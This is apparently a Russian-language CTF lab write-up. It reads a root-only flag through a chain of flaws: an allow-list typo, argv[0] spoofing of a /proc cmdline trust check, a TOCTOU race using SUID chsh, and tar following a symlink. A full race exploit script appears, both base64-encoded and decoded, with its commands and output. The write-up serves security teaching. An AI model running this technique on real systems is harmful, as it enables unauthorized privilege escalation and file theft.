Writeup - HoneyVault
Цель задания:
После получения доступа к серверу хранения HoneyVault под пользователем operator требовалось найти уязвимость в системе администрирования AegisHive Processor и получить содержимое файла:
/root/flag.txt
В результате анализа была обнаружена цепочка из нескольких уязвимостей:
ошибка в списке разрешённых каталогов;
небезопасная проверка доверенного процесса через /proc/<pid>/cmdline;
TOCTOU-гонка между получением PID и проверкой параметров процесса;
использование SUID-программы для временного получения effective UID = 0;
разыменование символических ссылок командой tar -h.
Подключение к серверу хранения
Подключение выполнялось с узла hv-analyst-01:
ssh operator@10.0.3.66
После ввода пароля был получен доступ к серверу:
Linux hv-storage-01 ... HoneyVault Internal Storage — hv-storage-01
Проверка текущего пользователя:
id
uid=1000(operator) gid=1000(operator) groups=1000(operator)
Первичная разведка
Было изучено содержимое каталога /data:
cd /data ls -la
На сервере присутствовали каталоги:
admin adminsecurity backup database important logs prod security
Каталог /data/adminsecurity был доступен пользователю operator.
Проверка:
ls -la /data/adminsecurity
Анализ запущенных процессов
Для определения привилегированных сервисов был просмотрен список процессов:
ps -ef --forest
Результат показал, что от имени root работает Python-процесс:
root 9 8 python3 /opt/aegishive/processor.py
/usr/sbin/smbd /usr/sbin/sshd
Это указывало на то, что основной интерес представляет файл:
/opt/aegishive/processor.py
Анализ точки запуска
Был изучен файл /entrypoint.sh:
cat /entrypoint.sh
#!/bin/sh set -e python3 /opt/aegishive/processor.py & /usr/sbin/sshd exec /usr/sbin/smbd --foreground --no-process-group
Таким образом, processor.py запускается непосредственно из root-процесса контейнера и наследует права root.
Поиск связанных компонентов
Для поиска административного клиента, резервного копирования и планировщиков использовалась команда:
grep -RniE 'managectl|adminsecurity|backup|scheduler' \ /entrypoint.sh /etc/cron* /etc/systemd /opt /usr/local \ 2>/dev/null
Среди результатов были обнаружены строки:
/opt/aegishive/processor.py:13:SOCKET_PATH = "/var/run/managectl.sock" /opt/aegishive/processor.py:22: "backup", /opt/aegishive/processor.py:26:TRUSTED_CMDLINE_REGEX = r"^(/usr/local/sbin/managectl|managectl) " /opt/aegishive/processor.py:79:def run_backup(directory): /opt/aegishive/processor.py:147: if command == "backup":
Это показало, что сервис принимает административные команды через Unix-сокет:
/var/run/managectl.sock
Анализ исходного кода AegisHive Processor
Исходный код был прочитан командой:
sed -n '1,240p' /opt/aegishive/processor.py
SOCKET_PATH = "/var/run/managectl.sock"
DATA_ROOT = Path("/data")ALLOWED_DIRECTORIES = [
"prod",
"admin"
"security",
"database",
"important",
"backup",
"logs"
]Проверка доверенного процесса:
TRUSTED_CMDLINE_REGEX = r"^(/usr/local/sbin/managectl|managectl) "
def get_peer_pid(sock):
ucred_size = struct.calcsize("3I")
creds = sock.getsockopt(
socket.SOL_SOCKET,
socket.SO_PEERCRED,
ucred_size
)
pid = struct.unpack("I", creds[:4])[0]
return pidЧтение командной строки процесса:
def get_process_cmdline(pid):
with open(f"/proc/{pid}/cmdline", "rb") as f:
return (
f.read()
.replace(b"\0", b" ")
.decode(errors="replace")
.strip()
)def get_process_uids(pid):
with open(f"/proc/{pid}/status", "r") as f:
for line in f:
if match := re.match(
r"^Uid:\s+(\d+)\s+(\d+)",
line
):
ruid = int(match.group(1))
euid = int(match.group(2))
return ruid, euiddef check_permissions(pid):
cmdline = get_process_cmdline(pid)
if not re.match(TRUSTED_CMDLINE_REGEX, cmdline):
return False, "untrusted process name"
ruid, euid = get_process_uids(pid)
...
if rusername != "root" and eusername != "root":
return False, f"uid {euid} ({eusername}) denied"
return True, "ok"result = subprocess.run(
[
"tar",
"-chf",
str(archive),
"-C",
str(DATA_ROOT),
directory
],
capture_output=True,
text=True,
)Первая уязвимость: неявная конкатенация строк
В списке разрешённых каталогов отсутствует запятая между строками:
"admin" "security",
В Python соседние строковые литералы автоматически объединяются:
"admin" "security"
"adminsecurity"
Фактический список разрешённых каталогов содержит:
prod adminsecurity database important backup logs
/data/adminsecurity
разрешён для резервного копирования.
Вторая уязвимость: разыменование символических ссылок
Для создания архива используется команда:
tar -chf
-h
follow symbolic links
То есть tar помещает в архив не саму символическую ссылку, а содержимое файла, на который она указывает.
Пользователь operator мог создавать файлы внутри /data/adminsecurity.
Поэтому была создана ссылка:
mkdir -p /data/adminsecurity ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt
ls -la /data/adminsecurity
lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -> /root/flag.txt
Если root-сервис выполнит резервное копирование этого каталога, tar -h прочитает /root/flag.txt с правами root и поместит его содержимое в архив.
Проверка прямого обращения к сокету
Была предпринята попытка отправить команду напрямую через Python:
python3 - <<'PY'
import socket
path = "/var/run/managectl.sock"
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(path)
s.sendall(b"help\n")
s.shutdown(socket.SHUT_WR)
while True:
data = s.recv(4096)
if not data:
break
print(data.decode(errors="replace"), end="")
PY{"ok": false, "error": "untrusted process name"}Причина заключалась в том, что командная строка клиента начиналась с python3, а сервис разрешал только процессы, начинающиеся с:
/usr/local/sbin/managectl
managectl
Анализ административного клиента
ls -la /usr/local/sbin/managectl
-rwxr-xr-x 1 root root 3328054 Jul 15 22:51 /usr/local/sbin/managectl
/usr/local/sbin/managectl backup adminsecurity
managectl: uid 1000 (operator) denied
Это означало, что проверка имени процесса была успешно пройдена, но клиент работал с UID пользователя operator.
Проверка SUID и capabilities
getcap /usr/local/sbin/managectl 2>/dev/null
Результат отсутствовал.
Проверка атрибутов файла:
stat /usr/local/sbin/managectl
Access: (0755/-rwxr-xr-x) Uid: (0/root) Gid: (0/root)
Файл не имел SUID-бита.
Далее был выполнен поиск SUID-файлов:
find / -perm -4000 -type f -ls 2>/dev/null
Среди прочего были обнаружены:
/usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/mount /usr/bin/newgrp /usr/bin/passwd /usr/bin/su /usr/bin/umount /usr/bin/sudo
Особый интерес представляли SUID-root программы:
/usr/bin/chsh /usr/bin/chfn /usr/bin/passwd /usr/bin/su
Третья уязвимость: доверие к /proc/<pid>/cmdline
Сервис проверял не реальный исполняемый файл процесса, а только:
/proc/<pid>/cmdline
Значение argv[0] может контролироваться вызывающим процессом.
Например, при использовании execve() можно запустить /usr/bin/chsh, но указать в argv[0] строку:
managectl
В результате реальным исполняемым файлом будет:
/usr/bin/chsh
но /proc/<pid>/cmdline будет начинаться с:
managectl
и удовлетворять регулярному выражению:
r"^(/usr/local/sbin/managectl|managectl) "
Четвёртая уязвимость: TOCTOU-гонка
Сервис выполнял действия последовательно:
pid = get_peer_pid(conn) allowed, msg = check_permissions(pid)
Внутри check_permissions() сначала читалась командная строка:
cmdline = get_process_cmdline(pid)
ruid, euid = get_process_uids(pid)
Между подключением клиента, получением PID и чтением /proc/<pid> существовало окно гонки.
Клиент мог:
- подключиться к сокету как обычный Python-процесс;
- отправить команду
backup adminsecurity; - выполнить
execve()SUID-root программы; - заменить
argv[0]наmanagectl; - временно получить
effective UID = 0.
Подтверждение поведения SUID-программы
Для подтверждения был запущен тест:
python3 -c '
import os
os.execv(
"/usr/bin/chsh",
["managectl ", "operator"]
)
' &
PID=$!
for i in $(seq 1 100); do
[ -r "/proc/$PID/status" ] || break
echo -n "cmdline: "
tr "\0" " " < "/proc/$PID/cmdline"
echo
grep "^Uid:" "/proc/$PID/status"
doneВ определённый момент был получен результат:
cmdline: managectl operator Uid: 1000 0 0 0
Формат строки Uid в /proc/<pid>/status:
Real UID Effective UID Saved set UID Filesystem UID
ruid = 1000 euid = 0
Проверка AegisHive Processor считала такой процесс разрешённым, поскольку условие было:
if rusername != "root" and eusername != "root":
denyПри euid = 0 процесс принимался как root-процесс.
15. Подготовка эксплуатации
Сначала были остановлены оставшиеся тестовые процессы:
pkill -9 -u operator chsh 2>/dev/null pkill -9 -u operator chfn 2>/dev/null pkill -9 -u operator passwd 2>/dev/null
Затем был восстановлен каталог и символическая ссылка:
mkdir -p /data/adminsecurity ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt
ls -la /data/adminsecurity
total 0 drwxr-xr-x 2 operator operator 35 Jul 19 13:10 . drwxrwxrwt 1 root root 35 Jul 19 13:10 .. lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -> /root/flag.txt
rm -f /data/backup/adminsecurity-*.tar
Эксплуатационный скрипт
Для надёжной эксплуатации использовался Python-скрипт с псевдотерминалом.
PTY позволял SUID-программе chsh дольше находиться в состоянии, в котором:
cmdline начинается с managectl euid равен 0
Скрипт был создан через Base64, чтобы избежать повреждения форматирования при вставке в терминал:
echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK' | base64 -d > /tmp/race.py
Проверка корректности Python-кода:
python3 -m py_compile /tmp/race.py && echo '[+] Script OK'
[+] Script OK
Исходный код эксплуатационного скрипта
Декодированный скрипт имел следующий вид:
#!/usr/bin/env python3
import glob
import os
import pty
import signal
import socket
import time
SOCK = "/var/run/managectl.sock"
CMD = b"backup adminsecurity\n"
LIMIT = 12
children = {}
def reap():
for pid, fd in list(children.items()):
try:
done, _ = os.waitpid(pid, os.WNOHANG)
except ChildProcessError:
done = pid
if done:
try:
os.close(fd)
except OSError:
pass
children.pop(pid, None)
def spawn():
pid, fd = pty.fork()
if pid == 0:
try:
s = socket.socket(
socket.AF_UNIX,
socket.SOCK_STREAM
)
s.connect(SOCK)
s.sendall(CMD)
os.execv(
"/usr/bin/chsh",
["managectl ", "operator"]
)
except Exception:
os._exit(1)
children[pid] = fd
archive = None
try:
while archive is None:
reap()
while len(children) < LIMIT:
spawn()
files = glob.glob(
"/data/backup/adminsecurity-*.tar"
)
if files:
archive = max(
files,
key=os.path.getmtime
)
break
time.sleep(0.005)
finally:
for pid in list(children):
try:
os.kill(pid, signal.SIGKILL)
except ProcessLookupError:
pass
for pid, fd in list(children.items()):
try:
os.waitpid(pid, 0)
except ChildProcessError:
pass
try:
os.close(fd)
except OSError:
pass
print(archive)Принцип работы эксплуатационного скрипта
Для каждой попытки выполнялись следующие действия.
Создание дочернего процесса с PTY:
pid, fd = pty.fork()
Подключение к административному Unix-сокету:
s = socket.socket(
socket.AF_UNIX,
socket.SOCK_STREAM
)
s.connect("/var/run/managectl.sock")s.sendall(b"backup adminsecurity\n")
После отправки команды процесс заменялся на SUID-root программу:
os.execv(
"/usr/bin/chsh",
["managectl ", "operator"]
)- PID процесса не менялся;
- реальным исполняемым файлом становился
/usr/bin/chsh; argv[0]становилсяmanagectl;/proc/<pid>/cmdlineпроходил регулярное выражение;chshвременно имелeffective UID = 0.
Root-сервис считывал данные процесса в удачный момент и разрешал выполнение команды:
backup adminsecurity
Эксплуатация
python3 /tmp/race.py
После успешной гонки был получен путь к архиву:
/data/backup/adminsecurity-20260719131103.tar
Это означало, что root-процесс успешно выполнил:
backup adminsecurity
Проверка созданного архива
Последний созданный архив был записан в переменную:
A="$(ls -t /data/backup/adminsecurity-*.tar | head -n1)"
echo "[+] Archive: $A"
[+] Archive: /data/backup/adminsecurity-20260719131103.tar
tar -tf "$A"
adminsecurity/ adminsecurity/root-flag.txt
Это подтвердило, что символическая ссылка была разыменована, а файл /root/flag.txt попал в архив под именем:
adminsecurity/root-flag.txt
Получение флага
Файл был прочитан непосредственно из архива без распаковки на диск:
tar -xOf "$A" adminsecurity/root-flag.txt
Итоговая последовательность команд
Минимальная последовательность после обнаружения уязвимости выглядела следующим образом.
Остановка старых процессов:
pkill -9 -u operator chsh 2>/dev/null pkill -9 -u operator chfn 2>/dev/null pkill -9 -u operator passwd 2>/dev/null
Создание разрешённого каталога и симлинка:
mkdir -p /data/adminsecurity ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt
ls -la /data/adminsecurity
rm -f /data/backup/adminsecurity-*.tar
Создание эксплуатационного скрипта:
echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK' | base64 -d > /tmp/race.py
python3 -m py_compile /tmp/race.py
python3 /tmp/race.py
Определение созданного архива:
A="$(ls -t /data/backup/adminsecurity-*.tar | head -n1)"
tar -tf "$A"
tar -xOf "$A" adminsecurity/root-flag.txt
Полная цепочка эксплуатации
Цепочка выглядела следующим образом:
Пользователь operator
|
v
Создание /data/adminsecurity/root-flag.txt
|
v
Симлинк на /root/flag.txt
|
v
Подключение к /var/run/managectl.sock
|
v
Отправка команды backup adminsecurity
|
v
execve("/usr/bin/chsh", ["managectl ", "operator"])
|
v
cmdline соответствует trusted regex
|
v
effective UID временно равен root
|
v
TOCTOU-проверка успешно пройдена
|
v
Root-сервис запускает tar -chf
|
v
tar -h разыменовывает симлинк
|
v
/root/flag.txt попадает в архив
|
v
Флаг извлекается через tar -xOf